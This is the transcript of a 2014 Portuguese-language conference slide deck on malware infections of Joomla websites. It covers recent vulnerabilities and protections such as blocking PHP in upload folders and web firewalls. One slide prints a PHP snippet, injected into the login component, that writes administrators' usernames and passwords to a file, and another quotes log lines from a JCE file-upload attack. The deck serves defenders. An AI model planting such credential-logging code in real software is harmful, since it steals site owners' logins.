Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Analise de Infeccoes no Joomla - JDBR14

Analise de Infeccoes no Joomla - JDBR14

Title: Analise de Infeccoes no Joomla
(Malware Infection Analysis on Joomla)
Language: Portuguese (Brasil)
Conference: Joomla Day Brasil
Date: May 2nd, 2014
Location: São Paulo, Brazil
Website: http://joomladaybrasil.org/2014/

Bruno Borges

May 02, 2014
Tweet

More Decks by Bruno Borges

Other Decks in Technology

Transcript

  1. A maior parte das infecções são em Joomla 1.5.x Boa

    notícia: Ufa! Afinal de contas, todos usamos a versão 3.2, 3.3 … Será? o.O #JDBR14 :: @brunoborgessec (Não quer dizer que 2.x e 3.x sejam amplamente seguras)
  2. Se você usa Joomla 1.5.x puro: •  Você já foi

    hackeado •  Você será hackeado •  Você está sendo hackeado #JDBR14 :: @brunoborgessec
  3. Ameaças / Vulnerabilidades Recentes Qualquer versão < 3.1.0.4 RCE ->

    Remote Code Execution: Vulnerabilidade que pode permitir a um invasor executar código arbitrário e assumir o controle do sistema afetado Joomla JomSocial: Remote Code Execution #JDBR14 :: @brunoborgessec Fonte: http://blog.sucuri.net/2014/02/joomla-jomsocial-remote-code-execution-vulnerability.html
  4. Ameaças / Vulnerabilidades Recentes Joomla Password Stealer Arquivo infectado: /administrator/components/com_login/models/login.php

    $fh = fopen("components/com_login/models/login.txt", 'a'); date_default_timezone_set("America/Chicago"); fwrite($fh,date('m/d/Y H:i:s', time())." $_SERVER[REMOTE_ADDR] [$credentials[username]:$credentials[password]]\n"); fclose($fh); #JDBR14 :: @brunoborgessec http://labs.sucuri.net/?note=2013-11-21
  5. Ameaças / Vulnerabilidades Recentes JPG EXIF Headers #JDBR14 :: @brunoborgessec

    http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html
  6. Ameaças / Vulnerabilidades Recentes JPG EXIF Headers #JDBR14 :: @brunoborgessec

    http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html
  7. Ameaças / Vulnerabilidades Recentes JCE Remote File Upload 197.205.70.37 -

    - [23/Jan/2014:16:46:54 -0500] "POST /index.php? option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c124 6b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.0" 200 302 "-" "BOT/0.1 (BOT for JCE)" 197.205.70.37 - - [23/Jan/2014:16:46:55 -0500] "POST /index.php? option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20 HTTP/1.0" 200 329 "-" "BOT/0.1 (BOT for JCE)” http://blog.sucuri.net/2014/03/jce-joomla-extension-attacks-in-the-wild.html
  8. Proteções Bloquear PHP onde não deve ter <Files *.php> deny

    from all </Files> Ex: /images/stories #JDBR14 :: @brunoborgessec
  9. Proteções Patching x Virtual Patching Patching: Atualizar para corrigir vulnerabilidades

    existentes. Virtual Patching: Soluções de produtos que permitem a proteção de vulnerabilidades existentes quando não for possível aplicar o patch. Ex: Joomla 1.5.x #JDBR14 :: @brunoborgessec
  10. Proteções Web Application Firewall / Website Firewall •  A forma

    mais rápida de proteger o seu site. •  Requer pouco esforço. •  Necessário pouco conhecimento de Segurança #JDBR14 :: @brunoborgessec